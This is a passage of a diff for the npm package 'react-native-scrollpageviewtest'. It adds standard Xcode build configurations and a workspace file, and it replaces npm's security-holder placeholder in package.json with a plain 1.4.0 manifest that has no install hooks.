+				CLANG_WARN_BOOL_CONVERSION = YES;
+				CLANG_WARN_CONSTANT_CONVERSION = YES;
+				CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
+				CLANG_WARN_EMPTY_BODY = YES;
+				CLANG_WARN_ENUM_CONVERSION = YES;
+				CLANG_WARN_INFINITE_RECURSION = YES;
+				CLANG_WARN_INT_CONVERSION = YES;
+				CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
+				CLANG_WARN_SUSPICIOUS_MOVE = YES;
+				CLANG_WARN_UNREACHABLE_CODE = YES;
+				CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
+				COPY_PHASE_STRIP = NO;
+				ENABLE_STRICT_OBJC_MSGSEND = YES;
+				ENABLE_TESTABILITY = YES;
+				GCC_C_LANGUAGE_STANDARD = gnu99;
+				GCC_DYNAMIC_NO_PIC = NO;
+				GCC_NO_COMMON_BLOCKS = YES;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"DEBUG=1",
+					"$(inherited)",
+				);
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
+				GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
+				GCC_WARN_UNDECLARED_SELECTOR = YES;
+				GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
+				GCC_WARN_UNUSED_FUNCTION = YES;
+				GCC_WARN_UNUSED_VARIABLE = YES;
+				IPHONEOS_DEPLOYMENT_TARGET = 8.0;
+				MTL_ENABLE_DEBUG_INFO = YES;
+				ONLY_ACTIVE_ARCH = YES;
+				SDKROOT = iphoneos;
+			};
+			name = Debug;
+		};
+		58B511EE1A9E6C8500147676 /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				ALWAYS_SEARCH_USER_PATHS = NO;
+				CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x";
+				CLANG_CXX_LIBRARY = "libc++";
+				CLANG_ENABLE_MODULES = YES;
+				CLANG_ENABLE_OBJC_ARC = YES;
+				CLANG_WARN_BOOL_CONVERSION = YES;
+				CLANG_WARN_CONSTANT_CONVERSION = YES;
+				CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
+				CLANG_WARN_EMPTY_BODY = YES;
+				CLANG_WARN_ENUM_CONVERSION = YES;
+				CLANG_WARN_INFINITE_RECURSION = YES;
+				CLANG_WARN_INT_CONVERSION = YES;
+				CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
+				CLANG_WARN_SUSPICIOUS_MOVE = YES;
+				CLANG_WARN_UNREACHABLE_CODE = YES;
+				CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
+				COPY_PHASE_STRIP = YES;
+				ENABLE_NS_ASSERTIONS = NO;
+				ENABLE_STRICT_OBJC_MSGSEND = YES;
+				GCC_C_LANGUAGE_STANDARD = gnu99;
+				GCC_NO_COMMON_BLOCKS = YES;
+				GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
+				GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
+				GCC_WARN_UNDECLARED_SELECTOR = YES;
+				GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
+				GCC_WARN_UNUSED_FUNCTION = YES;
+				GCC_WARN_UNUSED_VARIABLE = YES;
+				IPHONEOS_DEPLOYMENT_TARGET = 8.0;
+				MTL_ENABLE_DEBUG_INFO = NO;
+				SDKROOT = iphoneos;
+				VALIDATE_PRODUCT = YES;
+			};
+			name = Release;
+		};
+		58B511F01A9E6C8500147676 /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				HEADER_SEARCH_PATHS = (
+				"$(inherited)",
+					/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include,
+					"$(SRCROOT)/../../../React/**",
+					"$(SRCROOT)/../../react-native/React/**",
+				);
+				LIBRARY_SEARCH_PATHS = "$(inherited)";
+				OTHER_LDFLAGS = "-ObjC";
+				PRODUCT_NAME = RNScrollpageviewtest;
+				SKIP_INSTALL = YES;
+			};
+			name = Debug;
+		};
+		58B511F11A9E6C8500147676 /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				HEADER_SEARCH_PATHS = (
+					"$(inherited)",
+					/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include,
+					"$(SRCROOT)/../../../React/**",
+					"$(SRCROOT)/../../react-native/React/**",
+				);
+				LIBRARY_SEARCH_PATHS = "$(inherited)";
+				OTHER_LDFLAGS = "-ObjC";
+				PRODUCT_NAME = RNScrollpageviewtest;
+				SKIP_INSTALL = YES;
+			};
+			name = Release;
+		};
+/* End XCBuildConfiguration section */
+
+/* Begin XCConfigurationList section */
+		58B511D61A9E6C8500147676 /* Build configuration list for PBXProject "RNScrollpageviewtest" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				58B511ED1A9E6C8500147676 /* Debug */,
+				58B511EE1A9E6C8500147676 /* Release */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Release;
+		};
+		58B511EF1A9E6C8500147676 /* Build configuration list for PBXNativeTarget "RNScrollpageviewtest" */ = {
+			isa = XCConfigurationList;
+			buildConfigurations = (
+				58B511F01A9E6C8500147676 /* Debug */,
+				58B511F11A9E6C8500147676 /* Release */,
+			);
+			defaultConfigurationIsVisible = 0;
+			defaultConfigurationName = Release;
+		};
+/* End XCConfigurationList section */
+	};
+	rootObject = 58B511D31A9E6C8500147676 /* Project object */;
+}

package/ios/RNScrollpageviewtest.xcworkspace/contents.xcworkspacedata

@@ -0,0 +1,9 @@
+// !$*UTF8*$!
+<?xml version="1.0" encoding="UTF-8"?>
+<Workspace
+   version = "1.0">
+   <FileRef
+      location = "group:RNScrollpageviewtest.xcodeproj">
+   </FileRef>
+</Workspace>
+  

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "react-native-scrollpageviewtest",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.4.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [
+    "react-native"
+  ],
+  "author": "",
+  "license": "",
+  "peerDependencies": {
+    "react-native": "^0.41.2"
+  }
 }